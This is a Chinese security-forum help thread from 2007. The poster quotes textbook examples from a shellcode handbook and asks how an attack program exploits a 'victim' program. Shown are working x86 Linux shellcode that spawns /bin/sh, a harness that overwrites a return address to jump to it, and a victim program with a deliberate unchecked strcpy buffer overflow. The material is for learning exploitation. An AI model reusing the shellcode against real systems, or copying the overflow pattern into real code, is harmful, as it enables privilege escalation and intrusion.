首页
社区
课程
招聘
[旧帖] [求助]The Shellcoder's Handbook中的利用漏洞获得root特权,不明白 0.00雪花
发表于: 2007-10-4 18:56 3325

[旧帖] [求助]The Shellcoder's Handbook中的利用漏洞获得root特权,不明白 0.00雪花

2007-10-4 18:56
3325
char shellcode[] =   
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}
上面的这段代码看明白了,但是下面的就不明白是怎么回事了

int main(int argc, char **argv[] ) {

char little_array[512];
    if( argc > 1 )
        strcpy(little_array, argv[1] );
}
这段程序编译连接为victim
然后自己写另一个attact程序,来破解这个程序
我搞不清那个attact程序与这个程序有什么关系,写好attack之后就用地址法,挨边试shellcode的地址
真是看不明白
请大家解释一下,谢谢了!

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
是不是大伙都没看明白我说什么?
因为我也没看懂这里面的东西,所以也没法详细的讲解我怎么想的。
就是第二章的第四节,我看了几遍,仍是一头雾水。
2007-10-4 21:55
0
游客
登录 | 注册 方可回帖
返回